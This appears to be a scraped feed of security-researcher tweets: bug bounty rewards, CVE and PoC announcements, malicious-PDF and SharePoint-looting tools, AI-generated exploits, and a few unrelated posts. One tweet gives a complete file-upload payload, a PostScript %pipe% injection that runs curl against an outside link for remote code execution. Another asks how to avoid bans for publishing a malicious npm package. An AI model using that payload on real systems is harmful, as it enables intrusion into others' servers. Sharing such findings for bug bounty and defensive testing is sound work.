Pastaga

[Pastaga @pathtaga]

Just got a reward for a critical vulnerability submitted on @yeswehack -- Improper Access Control - Generic (CWE-284). https://t.co/mKGPXmqKj9 #YesWeRHackers

[Bad Sector Labs @badsectorlabs]

@0xdab0 It's about to get a lot better 😉🤫

[n00py @n00py1]

NTLM reflection attacks can be used to compromise Active Directory domains even with SMB signing if systems aren’t fully patched

https://t.co/mnN8AI7jTQ

[Pastaga @pathtaga]

@memeda523967 @intigriti Wp-term

[Chelsea486MHz, la Kubomancienne @Chelsea486MHz]

#React2Shell POC went public minutes ago -> https://t.co/V32nSYWJBj #CVE CVE-2025-55182

[Daily CyberSecurity @Daily_CyberSec]

A Critical (CVSS 10.0) RCE flaw (CVE-2025-65108) in md-to-pdf allows arbitrary JavaScript code execution via malicious front-matter. Over 47K weekly downloads are affected. Update to v5.2.5.

#mdtopdf #RCE #SupplyChain #Cybersecurity
https://t.co/ppj5WiAVmC

[Md Ismail Šojal 🕷️ @0x0SojalSec]

RCE on PDF upload:

Content-Disposition: form-data; name="fileToUpload"; filename="pwn.pdf"
Content-Type: application/pdf

%!PS
currentdevice null true mark /OutputICCProfile (%pipe%curl https://t.co/AgOXKQpkA5) )
.putdeviceparams
quit

https://t.co/B4hJqpPlGf

[Nahman Khayet @nkhayet]

🚨 What happens when #AI can weaponize #vulnerabilities in minutes, not weeks?

We created an agentic system that takes open-source #CVEs and creates exploits in under 15 minutes and for 1$ each.

👉 Read our deep dive & list of exploits: https://t.co/aYch0YS9V9
#Cyber #LLM

[Intigriti @intigriti]

Testing for file upload vulnerabilities? 🧐

Check out Malicious PDF Generator, an open-source toolkit to help you generate tens of malicious PDF files designed to exploit various vulnerabilities and insecure features found in PDF readers! 🤠

🔗 https://t.co/2rGxRmfyAx

[Devang Solanki @devangsolankii]

@intigriti https://t.co/GKhzC1Cly7

Or you can use this

[Jsmon | AI-Powered Attack Surface Management @jsmonsh]

🚀 JS Explorer is live now! Discover JS URLs from domains for free. Powered with 500M JS URLs and updating every week. Visit https://t.co/jwKHbwOEon now.

✅ Retweet, bookmark and share link with your friends in bugbounty, cybersecurity and OSINT research.

[LeakIX @leak_ix]

sharepoint.payload.txt
https://t.co/CVZqxdfMEd

[Pastaga @pathtaga]

@M4yFly I read an article using localhost1UWhRC... for all machines, I need to poc it

[Pastaga @pathtaga]

Snaffpoint is a good tool to grab candies on onprem SharePoint instances 🍬 I've updated this tool targeting only specific entity/projet in your domain - to filter results!
Take a look 👀
https://t.co/9NS3H8Hbkm

[Pastaga @pathtaga]

@0xLupin Congratulations 🎉 nice work done!
Please I have a question: how do you manage to avoid getting banned for publicly pushing malicious npm package? Thanks!

[Deedy @deedydas]

It’s happening.

AI models are finding zero-day vulnerabilities.

This blog post is a must-read and marks a new era for cybersecurity.

[luijait (Luis Javier) @luijait_]

@mbrg0 Open source alternative with confirmed bug bounties

Code: https://t.co/0LhmFhCBml
Paper: https://t.co/UEUtCUdHBW

[Dan ⚡️ @d4m1n]

most devs I meet don't know how to vibe code in Cursor

I find it crazy they'd rather waste hours instead of invest 20 minutes into their workflow.

here's my stupid simple system:

[PlanB @100trillionUSD]

Bitcoin April close: $94,181 ... V-shaped recovery after all !!

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Use NextJS? Recon Tip by renniepak

A quick way to find "all" paths for Next.js websites:
DevTools->Console

console.log(__BUILD_MANIFEST.sortedPages)

javascript​:console.log(__BUILD_MANIFEST.sortedPages.join('\n'));

#infosec #cybersec #bugbountytips